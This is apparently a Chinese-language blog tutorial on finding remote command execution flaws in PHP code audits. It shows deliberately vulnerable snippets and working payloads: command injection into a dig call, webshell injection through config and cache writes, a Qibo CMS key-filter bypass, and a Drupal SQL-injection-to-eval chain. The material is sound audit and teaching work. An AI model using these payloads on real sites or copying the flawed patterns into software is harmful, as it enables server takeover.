說說RCE那些事兒
0x01 引言
如果OWASP給PHP漏洞弄個排行榜,那RCE(遠端命令執行)絕對是最臭名昭著漏洞的前十名,其攻擊方式靈活,且攻擊成功後一般返回繼承了web元件(如apache)許可權的shell,危害自不必再多描述。那麼,今天就來看看程式碼審計中到底該在哪裡尋找命令執行?或者說,哪些功能會導致程式碼執行?
0x02漏洞尋蹤
這是一個最簡單的命令執行漏洞
#!php
//index.php
<?php
$cmd=$_GET['cmd'];
system($cmd); ?>
我們可以執行
index.php?cmd=whoami
特別注意如果我們使用了
#!php
<?php
$cmd=$_GET['cmd'];
echo exec($cmd);
?>
由於exec()
預設沒有回顯,所以執行命令之後 我們是看不到結果的, 當然我們能夠透過重定向,把他們匯入檔案中,再來查詢
當然這些程式碼一般情況下是不可能出現在程式中的,我們僅作了解。 那麼…… 到底哪裡會出現命令執行呢?
Demo #1 實現查詢dns的RCE
這是一個實現查詢dns命令的php程式片段,由於要和系統產生資訊通道,使用了system()函式,過濾不嚴也導致了RCE。
#!php
<?php
include("common.php");
showMenu();
echo '<br>';
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
//start digging in the namserver
system ("dig @$ns $host $query_type");
echo '</pre>';
} else {
?>
如果我們請求
dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
明顯system ("dig whoami sirgod.com NS");
是不能執行的
所以我們用“||”分別執行linux命令
dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
system ("dig ||whoami|| sirgod.net NS");
那麼我們就分離了dig命令和whoami 成功執行
Demo #2 配置資訊儲存不當的RCE
很多時候php的配置資訊是直接儲存在.php字尾的檔案裡面的 比如discuz 如果沒有認真過濾…
#!php
if(isset($action) && $action == "setconfig") {
$config_file = "config.php";
$handle = fopen($config_file, 'w');
$StringData = "<?php\r
$"."news_width = '".clean($_POST[news_width])."';\r
$"."bgcolor = '".clean($_POST[bgcolor])."';\r
$"."fgcolor = '".clean($_POST[fgcolor])."';\r
$"."padding = '".clean($_POST[padding])."';\r
$"."subject_margin = '".clean($_POST[subject_margin])."';\r
$"."fontname = '".clean($_POST[fontname])."';\r
$"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
fwrite($handle, $StringData);
}
那麼如果正常提交 就是
#!php
<?php
$news_width = '600px';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>
我們要是提交';system($_GET['cmd']);'
配置檔案就會變成
#!php
<?php
$news_width = '';
system($_GET['cmd']);
'';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>
很明顯這就是個合法的php檔案了,也成為了一個webshell。
Demo #2 快取寫入不當的RCE
#!php
$newsfile = "news.txt";
$file = fopen($newsfile, "r");
..........................................................................
elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " . $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
include 'inc/posted.html';
else
include 'inc/error1.html';
fclose($file);
這個程式碼的業務功能就是寫入快取,是下次使用之前直接呼叫靜態檔案 如何顯示給訪客呢
#!php
<? include("news.txt"); ?>
那麼我們試試注入shell
#!php
<table class='sn'> <tbody>
<tr><td class='sn-title'>
<?php system($_GET['cmd']); ?>
</td></tr> <tr><td class='sn-date'>
Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div> <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
訪問display.php?cmd=whoami 成功執行
0x03 例項剖析
有人就說了,上面程式碼是簡單的phpdemo而已,實際環境中的審計肯定沒有那麼簡單,那麼,當我們面對完整的php程式,他們面對物件,基於各種框架,還怎麼去尋找RCE的蹤跡呢?
我們來看幾個例項
齊博cms快取寫入導致遠端程式碼執行 漏洞檔案
#!php
foreach($label AS $key=>$value){
var_dump ($value);exit;//如果是新標籤時,即為陣列array(),要清空
if(is_array($value))
{
$label[$key]='';
}
}
//寫快取
if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
$_shows="<?php\r\n\$haveCache=1;\r\n";
foreach($label AS $key=>$value){
$value=addslashes($value);
$_shows.="\$label['$key']=stripslashes('$value');\r\n";
}
write_file($FileName,$_shows.'?>');
}
}
這段程式碼功能很好分析 遍歷標籤($label)變數,並且寫入快取,
我們看看過濾函式
#!php
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //過濾一些不安全字元
$value=preg_replace("/eval/i","eva l",$value); //過濾不安全函式
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
這裡檢測key的機制就出問題,,我畫了個圖
簡而言之,他只檢測最底層的key 所以我們提交label[evilcode][asd]=xx
匹配的key是asd 那麼就不會被匹配出 evilcode就不會被檢測。
由於qibo是 偽全域性
#!php
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
會幫我們註冊好提交的變數 所以$label是能夠直接控制的
那麼也就是當我們提交
#!php
label['.phpinfo().'][asd]=sb
提交的key為''.phpinfo().''
那麼寫入的本地檔案就是
#!php
\$label[''.phpinfo().'']=stripslashes();\r\n";
這時所有引號全都閉合
快取資料夾中也就寫入了我們的shell
Drupal函式回撥導致的RCE
Drupal作為世界上公認最強大的phpweb框架,一直在追求更安全的開發方法 比如,它採用預編譯的方法進行SQL互動,使得SQL隱碼攻擊漏洞幾乎難以挖掘。然而在近期,由於一個功能中將SQL預編譯權利交給了使用者。
#!php
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
插入使用者輸入資料導致sql注入
又由於drupal採用的PDO是支援多行的,所以能執行任意語句,當然這不是今天的重點。 今天我們看看如何漏洞擴大,把SQLI變成RCE 首先講下call_user_func_array
(PHP 4 >= 4.0.4, PHP 5)
呼叫回撥函式,並把一個陣列引數作為回撥函式的引數 說明
#!php
mixed call_user_func_array ( callable $callback , array $param_arr )
$preferred_links = &drupal_static(__FUNCTION__);
If (!isset($path)) { $path = $_GET['q']; }
首先$path作為變數是可控的
#!php
function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
$page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;
$read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path);
if ($page_callback_result == MENU_SITE_ONLINE) {
if ($router_item = menu_get_item($path)) {
if ($router_item['access']) {
if ($router_item['include_file']) {
require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
} else { $page_callback_result = MENU_ACCESS_DENIED;
} } else { $page_callback_result = MENU_NOT_FOUND; } } }
if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }
包含了檔案
透過預編譯註入向表中插入一個語句
#!php
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','eval', '1', 'modules/php/php.module');
path 為要執行的程式碼; include_file 為 PHP filter Module 的路徑; page_callback 為 eval; access_callback 為 1(可以讓任意使用者訪問)。 訪問地址即可造成 RCE。
0x04 寫在最後
一般來講,漏洞形成的原因基本都是“資料與程式碼未有效分離”,然而RCE是個例外,往往出現rce的地方本來就是供程式執行程式碼的地方,加上如今php程式功能越來越強大,各種地方相互呼叫,導致組合利用漏洞。所以程式設計師寫起程式碼來往往都不知道改怎麼去防禦,或者說防不勝防。 由於其漏洞實現的靈活性,尋找RCE,還是應該從功能入手,去研究程式碼實現了什麼功能,最後變數進入什麼函式,被如何呼叫,而不是簡簡單單的去進行關鍵字搜尋,畢竟,如今程式碼審計已經從“哪裡有洞”過渡到“如何繞過”的時代了。
相關文章
- 說說Golang goroutine併發那些事兒2021-02-09Golang
- 說說ITSM專案實戰那些事兒(三)2024-05-21
- 利用姑姑印表機,說說碎片化知識整理的那些事兒2019-03-03
- 說說 VARCHAR 背後的那些事2021-08-14
- 說說Mongodb 與 MySQL的那些事2018-10-26MongoDBMySql
- 精細化運營不得不說的那些事兒2018-05-21
- 什麼是視力障礙?說說你不知道的視力那些事兒!2020-06-02
- 說說《塞爾達》服化道那些事2021-08-18
- 關於程式碼評審(CodeReview)那些不得不說的事兒2022-05-24View
- 上篇 | 說說無鎖(Lock-Free)程式設計那些事2019-01-20程式設計
- 說說vue專案中自動新增字首的那些事2018-06-19Vue
- “磚家”說:全屋Wi-Fi下一代的那些事兒2022-05-16
- PHP那些事兒2019-02-16PHP
- Redis那些事兒2019-02-16Redis
- babel那些事兒2019-03-14Babel
- 下篇 | 說說無鎖(Lock-Free)程式設計那些事(下)2019-01-21程式設計
- webpack的那些事兒2019-05-12Web
- https的那些事兒2019-02-21HTTP
- 年中覆盤|說說綠盟科技上半年發生的那些事2020-07-01
- C語言那些事兒2020-04-04C語言
- 字元編碼那些事兒2021-09-09字元
- MySQL優化那些事兒2019-03-02MySql優化
- 網路安全那些事兒2018-11-08
- Eval家族的那些事兒2019-03-30
- PHP 閉包那些事兒2019-02-16PHP
- 說說資料庫事務2018-11-10資料庫
- 法線貼圖那些事兒2020-05-25
- 漏洞檢測的那些事兒2020-08-19
- 關於 sudo 的那些事兒2019-12-19
- 面試的那些事兒--012021-03-10面試
- 雲原生java的那些事兒2019-03-01Java
- util.promisify 的那些事兒2018-10-17
- 「前端那些事兒」④ 效能監控2019-04-01前端
- 程式碼重構那些事兒2019-02-03
- iOS 截圖的那些事兒2018-06-03iOS
- HTTP 快取的那些事兒2018-08-21HTTP快取
- Node檔案操作那些事兒2018-03-20
- 遮罩層沒有消失 - 我們來說說 async、promise 和 yield 之間的那些事2022-01-07遮罩Promise